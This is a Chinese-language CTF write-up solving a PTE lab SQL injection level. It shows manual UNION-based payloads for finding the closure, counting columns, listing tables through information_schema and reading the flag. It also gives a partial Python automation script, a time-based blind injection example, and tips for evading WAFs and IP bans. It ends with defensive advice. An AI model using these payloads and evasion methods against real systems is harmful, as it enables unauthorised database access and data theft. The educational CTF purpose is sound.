1. CTF-PTE SQL注入9解题思路解析
最近在PTE靶场刷SQL注入题时遇到了第9关,题目设计得挺有意思,需要同时掌握手工注入和脚本注入两种解法。作为CTF老鸟,我觉得这个题目特别适合用来检验选手对SQL注入本质的理解程度。下面我就详细拆解这道题的两种解法,并分享一些实战中的避坑经验。
这道题属于典型的基于错误的SQL注入,靶机环境模拟了一个简单的用户登录系统。前端只有一个用户名和密码输入框,但仔细观察会发现URL中带有id参数,这提示我们注入点可能在GET请求的参数中。题目最终目标是获取数据库中的flag值,这也是CTF赛题的常见套路。
2. 手工注入法全流程详解
2.1 注入点探测与闭合方式判断
首先在浏览器地址栏尝试修改id参数:
http://target.com/page.php?id=1'当输入单引号时页面返回了数据库错误信息,这确认了存在SQL注入漏洞。错误信息显示是MySQL语法错误,说明后端使用的是MySQL数据库。
通过测试不同的闭合方式:
id=1" → 正常 id=1' → 报错 id=1') → 正常可以确定原始SQL语句的闭合方式是单引号加括号:WHERE id=('输入')
2.2 确定字段数量
使用ORDER BY子句逐步测试:
id=1') order by 1--+ → 正常 id=1') order by 5--+ → 正常 id=1') order by 6--+ → 报错说明当前查询返回的字段数是5个。
2.3 联合查询获取关键信息
构造UNION SELECT语句确定回显位:
id=-1') union select 1,2,3,4,5--+观察页面哪几个数字被显示出来,假设是2和4位置。
接下来获取数据库基本信息:
id=-1') union select 1,database(),3,version(),5--+这样就能得到当前数据库名和MySQL版本信息。
2.4 逐步获取flag
首先查询所有表名:
id=-1') union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--+发现存在flag表后,查询其字段:
id=-1') union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag'--+最后直接读取flag:
id=-1') union select 1,flag,3,4,5 from flag--+手工注入时特别注意:MySQL注释符--后面必须跟空格或+号,否则注释不生效。这是新手常犯的错误。
3. Python自动化脚本注入实现
3.1 脚本设计思路
手工注入虽然直观,但在实际CTF比赛中效率太低。我们可以用Python编写自动化脚本来完成注入过程。核心思路是:
- 自动探测注入点类型
- 暴力破解字段数量
- 自动识别回显位置
- 递归获取数据库结构
- 精准提取flag数据
3.2 关键代码实现
使用requests库发送HTTP请求,配合re模块解析响应内容:
import requests import re target = "http://target.com/page.php" session = requests.Session() # 探测注入类型 def detect_injection(): payloads = ["'", "\"", "')", "\")"] for p in payloads: r = session.get(f"{target}?id=1{p}") if "error" in r.text: return p return None # 爆破字段数 def get_columns(injection_char): for i in range(1,10): payload = f"1{injection_char} order by {i}-- " r = session.get(f"{target}?id={payload}") if "error" in r.text: return i-1 return 0 # 主注入函数 def exploit(): inj_char = detect_injection() cols = get_columns(inj_char) # 获取数据库名 payload = f"-1{inj_char} union select " + ",".join([str(i) for i in range(1,cols+1)]) + "-- " r = session.get(f"{target}?id={payload}") # 提取回显位并获取flag payload = f"-1{inj_char} union select " + ",".join(["1","database()","3","@@version","5"]) + "-- " r = session.get(f"{target}?id={payload}") db_name = re.search(r"显示位置正则", r.text).group(1) # 后续表名、字段名提取逻辑...3.3 脚本优化技巧
- 错误处理:增加try-catch块处理网络异常
- 延时设置:避免请求过快被WAF拦截
- 结果缓存:将已获取的信息缓存到本地文件
- 多线程:对表名、字段名爆破使用多线程加速
脚本编写时要注意User-Agent随机化和请求间隔,否则容易被靶机的防护机制封禁IP。
4. 常见问题与解决方案
4.1 手工注入时页面无回显
这种情况可能需要使用盲注技术。时间盲注示例:
id=1') and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+通过响应时间判断条件真假。
4.2 脚本运行时遇到WAF拦截
解决方法:
- 混淆SQL语句:使用
/*!50000*/等MySQL特有注释 - 大小写随机化:
UnIoN SeLeCt - 编码转换:十六进制或URL编码关键字符
- 分块传输:修改HTTP头Transfer-Encoding
4.3 获取的表名不全
information_schema默认只显示当前用户有权限的表。可以尝试:
id=-1') union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata--+先获取所有数据库名,再逐个查询。
5. 防御措施与练习建议
虽然我们在CTF中学习注入技术,但实际开发中必须做好防护:
- 使用预编译语句(PDO/prepare)
- 严格过滤输入参数
- 最小权限原则配置数据库账号
- 关闭错误回显
对于想提升SQL注入能力的选手,我推荐以下练习路径:
- 先掌握DVWA、WebGoat等基础靶场
- 然后挑战PTE、CTFshow等CTF专用靶场
- 最后尝试HTB、Vulnhub中的综合渗透场景
我在实际测试中发现,很多选手容易犯的一个错误是过度依赖工具而忽略了原理理解。比如使用sqlmap但看不懂它生成的payload,这样遇到稍微变形的题目就会束手无策。真正的高手应该能根据报错信息快速判断注入类型,并手工构造出有效的注入语句。